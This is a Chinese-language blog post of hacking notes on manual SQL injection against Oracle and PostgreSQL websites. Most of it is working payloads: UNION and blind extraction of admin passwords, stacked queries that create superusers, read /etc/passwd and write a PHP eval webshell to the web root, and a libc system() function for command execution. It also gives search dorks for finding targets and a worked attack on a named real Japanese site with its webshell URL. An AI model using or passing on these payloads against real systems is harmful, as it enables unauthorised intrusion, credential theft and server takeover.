zoukankan      html  css  js  c++  java
  • 12.Oracle,db2

    oracle 政府机关 大学,金融 证券 旅游站点
    db2
    适用于比较大的站点



    jsp+oracle 存在注入


    /报错
    -0 返回正常

    and 1=1 and 1=2
    ' 探测


    一般asp/aspx/jsp/+oracle


    判断数据库


    判断注入
    and 1=1
    and 1=2

    判断oracle数据库

    and exists(select * from dual)
    and exists(select * from user_tables)

    dual 和 user_tables这两张表是 oracle独有的表
    当有注点的时候 但跑不出来表就得换一下注入语句,可能数据库是oracle


    判断列数

    order by 5 返回正常

    order by 6 返回错误


    判断出来之后用union select null,null,null,null,null

    获取数据类型不匹配的列


    在每列上逐个用数字代替 如果返回正常说明该列为数字类型,反之则为非数字类型。


    也可以逐个用引号引起来如:'null',null...from dual, 返回正常说明该列为字符类型,反之为非数字类型


    获取基本信息

    获取数据库版本
    (select banner from sys.v_$version where rownum=1)

    获取操作系统版本
    ( select member from v$logfile where rownum=1)

    获取连接数据库的当前用户
    ( select SYS_CONTEXT ('USERENV','CURRENT_USER')from dual)

    获取数据库
    (select owner from all_tables where rownum=1)

    //把这些写在每一个列上

    获取数据库版本

    http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null from dual


    获取操作系统版本

    http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select member from v$logfile where rownum=1),null,null,null,null,null,null,null,null,null from dual


    获取连接数据库的当前用户

    http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select SYS_CONTEXT ('USERENV','CURRENT_USER')from dual),null,null,null,null,null,null,null,null,null from dual

    获取第一个表

    http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select table_name from user_tables where rownum=1),null,null,null,null,null,null,null,null,null from dual


    获取第二个表

    http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select table_name from user_tables where rownum=1 and table_name<>'ACCESS$'),null,null,null,null,null,null,null,null,null from dual


    获取第三个表

    http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select table_name from user_tables where rownum=1 and table_name<>'ACCESS$'and table_name<>'ALERT_QT'),null,null,null,null,null,null,null,null,null from dual


    以此类推就可以得到所有的表名


    获取第一个列名


    假设我们得到管理员表名为:admin
    获取第一个列名EMPLOYEE_ID

    http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=-100 union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1),4,5,6 from dual,null,null,null,null,null,null,null,null,null from dual

    注入oracle表和其他数据库的的表名不同,可能大写带有前缀

    JSSLEDU_MANGER_system


    获取第二个列名

    http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=-100 union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1 and column_name<>'EMPLOYEE_ID'),4,5,6 from dual,null,null,null,null,null,null,null,null,null from dual

    得到表名为NAME


    获取第三个列名

    http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=-100 union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1 and column_name<>'EMPLOYEE_ID' and rownum=1 and column_name<>'NAME'),4,5,6 from dual,null,null,null,null,null,null,null,null,null from dual

    得到表名为PASS


    获取数据库


    union select 1,2,name,4,5,6 from admin

    union select 1,2,pass,4,5,6 from admin


    属于布尔盲注的

    第二种注入方式

    判断一下数据库中的表,网址后加上:and (select count(*) from admin) <>0返回正常,说明存在admin表。如果返回错误,可将admin改为username、manager等常用表名继续猜解。


    判断下该网站下有几个管理员

    如果有多个的话,成功入侵的几率就会加大

    and (select count(*) from admin)=1,返回正常说明只有一个管理员。


    指定表名获取列名

    and (select count(name) from admin)>=0返回正常,说明存在name字段



    获取列名
    and (select count(pass) from admin)>=0返回错误,说明不存在pass字段


    接下来采用ASCII码折半法猜解管理员帐号和密码

    判断管理员名字长度
    and (select count(*) from admin where length(name)>=5)=1

    说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成


    and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1
    说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a

    and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 结果为100,即字符d,重复上述过程,可以判断出帐号为admin

    and (select count(*) from admin where length(pwd)>=8)=1,返回正常,即密码长度为8,此时可以判断密码应该为明文


    ??? and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1,返回正常,为字符a

    and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1,返回正常,为字符d

    ????? and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1,返回正常,为数字8


    完成上述操作可以确定帐号为:admin密码为:admin888

    打开http://10.1.1.59/login.jsp,输入猜解出的用户名和密码


    在合天网安练习

    工具使用

    sqlmap.py -u "url" --current-db 列数据库
    sqlmap.py -u "url" -D xxx --tables 指定数据库列表名
    sqlmap.py -u "url" -D xxx --tables --count 方法1.列出表里有多少数据,统计行数找少的
    一般管理员表存放的数据在20个以内
    sqlmap.py -u "url" -D xxx --tables --serch -C pass 方法2.检索表里列名有pass关键字的表,或者pwd username user admin
    检索默认是模糊匹配 针对表太多可以这样来

    测可以这样测:
    inurl:jsp?id= 旅游


    Postgresql 手工注入

    Postgresql数据库是加州大学的一个分校开发的
    站点大多为国外和日本的站点


    goole语法:
    inurl:php?id= site:jp 商品名称 但名称要转换为日语,购物站点


    环境里一样 / 报错 -0返回正常

    and 1=1 and 1=2报错

    然后加载到hackbar

    Postgresql 数据库的网站大多是php的,这就很容易让人误解

    postgresql数据库注入常用语法

    判断是否为postgresql数据库
    +and+1::int=1--
    http://mysql.sql.com/sql.php?id=1+and+1::int=1--


    判断数据库版本信息
    +and+1=cast(version() as int)--

    判断当前用户
    and 1=cast(user||123 as int)

    判断有多少字段
    order by
    union select null,null,null
    union select null,user,null 判断当前用户

    在第一例输入数字1,返回正常正常是数字类
    在第二列输入2,返回错误可能是字符列,就加'' '2'


    判断数据库版本信息
    union select null,version(),null--

    判断用户权限
    union+select+null,current_schema(),null

    判断当前数据库名称
    union+select+null,current_database(),null

    判断当前表名
    union+select+null,relname,null from pg_stat_user_tables

    读取每个表的列名
    union+select+null,column_name,null+from+information_schema.columns+where+table_name='表名'


    列字段内容
    +union+select+null,name||pass,null+from+admin

    查看postgresql数据库的账号密码
    +union+select+null,usename||chr(124)||passwd,null+from+pg_shadow

    创建用户
    ;create+user+seven+with+superuser+password+'seven'--


    修改postgres的用户密码为123456
    ;alter+user+postgres+with+password+'123456'--

    Postgresql 写shell


    直接拿shell
    http://127.0.0.1/sql.php?id=1;create table shell(shell text not null);
    http://127.0.0.1/sql.php?id=1;insert into shell values($$<?php @eval($_POST[cracer]);?>$$);


    http://127.0.0.1/sql.php?id=1;copy shell(shell) to '/var/www/html/shell.php';


    另一种直接写进文件的shell

    ;copy (select '$$<?php @eval($_POST[cracer]);?>$$') to 'c:/inetpub/wwwroot/mysql-sql/ddd.php'
    拷贝一句话到网站根目录

    读取文件前20行
    pg_read_file('/etc/passwd',1,20) 读取1到20行


    创建system函数

    用于版本大于8的数据库

    创建一个system的函数:
    create FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

    创建一个输出表:
    create table stdout(id serial, system_out text)

    执行shell,输出到输出表内:
    select system('uname -a > /tmp/test')

    copy 输出的内容到表里面;
    COPY stdout(system_out) FROM '/tmp/test'

    从输出表内读取执行后的回显,判断是否执行成功
    union all select NULL,(select stdout from system_out order by id desc),NULL limit 1 offset 1–-

    数据库备份还原
    pg_dump -O -h 168.192.0.5 -U postgres mdb >c:mdb.sql”
    pg_dump -O -h 192.168.0.5 -U dbowner -w -p 5432 SS >SS.sql 这个是远程备份数据库备份到本地来

    还原数据库
    psql -h localhost -U postgres -d mdb

    实例日本站点:

    判断注入
    ‘ 报错
    and 1=1 返回正常
    and 1=2 返回错误


    获取信息
    and 1=cast(version() as int) 获取数据库版本信息系统信息
    and 1=cast(user||123 as int) 获取当前用户名称 postgres用户相当于root用户权限

    创建表
    ;create table ccc(w text not null); 创建表x

    插入一句话木木
    ;insert into ccc values($$<?php @eval($_POST[cracer]);?>$$); 向x表中插入一句话木马

    导出一句话
    ;copy ccc(w) to $$/home/kasugai_tochi/public_html/script/cracer.php$$; 将一句话木马保存为cracer.php文件

    菜刀连接
    http://www.kasugai-tochi.jp/script/cracer.php

    工具使用:
    sqmap.py -u "http://127.0.0.1/sql.php?id=1"

    观察脚本的作用

    也可以多个tamper一起使用
    例如:
    sqlmap -tamper=a.py,b.py


    --random-agent随机生成调用原访问地址,调用各种各样的浏览器标识信息

    渗透路慢慢,那个人叫方寒
  • 相关阅读:
    笔记56 Mybatis快速入门(七)
    笔记55 Mybatis快速入门(六)
    笔记54 Mybatis快速入门(五)
    笔记53 Mybatis快速入门(四)
    笔记52 Mybatis快速入门(三)
    笔记51 Mybatis快速入门(二)
    笔记50 Mybatis快速入门(一)
    笔记49 在Spittr应用中整合Hibernate
    198. House Robber,213. House Robber II
    303. Range Sum Query
  • 原文地址:https://www.cnblogs.com/fanghan/p/13899179.html
Copyright © 2011-2022 走看看